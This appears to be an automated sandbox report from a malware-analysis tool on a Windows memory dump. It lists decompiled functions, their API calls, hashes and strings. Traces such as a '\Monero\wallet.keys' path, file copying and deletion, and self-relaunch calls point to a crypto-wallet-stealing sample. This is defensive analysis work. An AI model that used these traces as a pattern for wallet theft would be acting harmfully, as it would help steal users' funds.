Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 06bcc2eee32e0afb12546efae39e516237ca2b1e6b64346785cf2ae755411db7
Instruction ID: 625b60bb7e386e955c5646abca84642f394ef46be97f342950cc9cfac73bfd41
Opcode Fuzzy Hash: 06bcc2eee32e0afb12546efae39e516237ca2b1e6b64346785cf2ae755411db7
Instruction Fuzzy Hash: A04118B150075C5EEB218B248DC4FFB7BE89F45308F1444EEE98A86182E2759A45CF78

Function 004B6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 004B6663

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

ShellExecuteEx.SHELL32(0000003C), ref: 004B6726
ExitProcess.KERNEL32 ref: 004B6755

Strings

<, xrefs: 004B66D9

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 78bd1257c1b9852b35d76b9ccbb961b0fc7a7640fdaefbe2f645fd18589d1f1c
Instruction ID: a7c9d037f8b6f107cf20d7ebbb3cc5305208a1242a3818d5a21106d4c5aaf569
Opcode Fuzzy Hash: 78bd1257c1b9852b35d76b9ccbb961b0fc7a7640fdaefbe2f645fd18589d1f1c
Instruction Fuzzy Hash: 46312CB1801218ABDB14EB91DC92FDEB77CAF14304F40518EF20966191DF786B49CF6A

Function 004B87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,004C0E28,00000000,?), ref: 004B882F
RtlAllocateHeap.NTDLL(00000000), ref: 004B8836
wsprintfA.USER32 ref: 004B8850

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Strings

%dx%d, xrefs: 004B8847

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: b7009b132cc1a1655c947064c8db6c80230c43582a319db0e2aa706f018554e7
Instruction ID: d5743d8d5dd37adb07aebd127339b4a91d594efe38bbc6cc1b6d8d8ca8488c8c
Opcode Fuzzy Hash: b7009b132cc1a1655c947064c8db6c80230c43582a319db0e2aa706f018554e7
Instruction Fuzzy Hash: F52133B5A44348AFDB04DFD4DD85FAEBBB9FB48701F104119F605AB280C779A901CBA6

Function 004B8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,004B951E,00000000), ref: 004B8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 004B8D62
wsprintfW.USER32 ref: 004B8D78

Strings

%hs, xrefs: 004B8D6F

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 1bc8398a3649e67ceb04ac6b72a610dcee6bf4bf321e8f5b028b6701c118d674
Instruction ID: d151c77b438bb497f6dc6793d7777ee7b174a0b0bf754bb32a8cfaa27ff79dca
Opcode Fuzzy Hash: 1bc8398a3649e67ceb04ac6b72a610dcee6bf4bf321e8f5b028b6701c118d674
Instruction Fuzzy Hash: 1AE08674A40308FBC700DBD4DC49E597BB8EB04701F004154FD098B280D9716E008B56

Function 004AD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

Part of subcall function 004B8B60: GetSystemTime.KERNEL32(004C0E1A,00FDA418,004C05AE,?,?,004A13F9,?,0000001A,004C0E1A,00000000,?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004B8B86

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004AD481
lstrlen.KERNEL32(00000000), ref: 004AD698
lstrlen.KERNEL32(00000000), ref: 004AD6AC
DeleteFileA.KERNEL32(00000000), ref: 004AD72B

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: b2625485755815621012061586d4dd2b15d2b4581c3b6ef67460e7b9b743dc46
Instruction ID: d0738ecc2ef889d6c90b8102515b93cdb991aef7868c36a54040a7fc52c2379c
Opcode Fuzzy Hash: b2625485755815621012061586d4dd2b15d2b4581c3b6ef67460e7b9b743dc46
Instruction Fuzzy Hash: D7911271810108AADB14FBB5DCA2EEE7339AF14308F50456EF50776491EF386A19CB7A

Function 004B3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 2e2e7da7afebd0240163ee013b01a35ea3335f784caef5eef69bc78413f318da
Instruction ID: 8c9ddbad9eb4ca9059b1a927f83d262c74d2d296deedc33ed6480ab1e6ded978
Opcode Fuzzy Hash: 2e2e7da7afebd0240163ee013b01a35ea3335f784caef5eef69bc78413f318da
Instruction Fuzzy Hash: 4F418375D10208EBCB14EFE6D845EEEB774AF04308F10801EE01576250DB78AA05CFBA

Function 004B7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,004C0E00,00000000,?), ref: 004B79B0
RtlAllocateHeap.NTDLL(00000000), ref: 004B79B7
GetLocalTime.KERNEL32(?,?,?,?,?,004C0E00,00000000,?), ref: 004B79C4
wsprintfA.USER32 ref: 004B79F3

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: bfaeb26d10052a70bee02e5ca1e6c42c1c46abb1b8f66a2801b91deeac8fbbc1
Instruction ID: cedaa46f42e2916fb30085af3f8e861e5e0ea055577fb286962c9308ba515f77
Opcode Fuzzy Hash: bfaeb26d10052a70bee02e5ca1e6c42c1c46abb1b8f66a2801b91deeac8fbbc1
Instruction Fuzzy Hash: 4B112AB2904258ABCB14DFC9DD85BBFB7F9FB4CB11F10425AF605A6280E2396940C7B5

Function 004BC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004BC74E

Part of subcall function 004BBF9F: __amsg_exit.LIBCMT ref: 004BBFAF

__getptd.LIBCMT ref: 004BC765
__amsg_exit.LIBCMT ref: 004BC773
__updatetlocinfoEx_nolock.LIBCMT ref: 004BC797

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
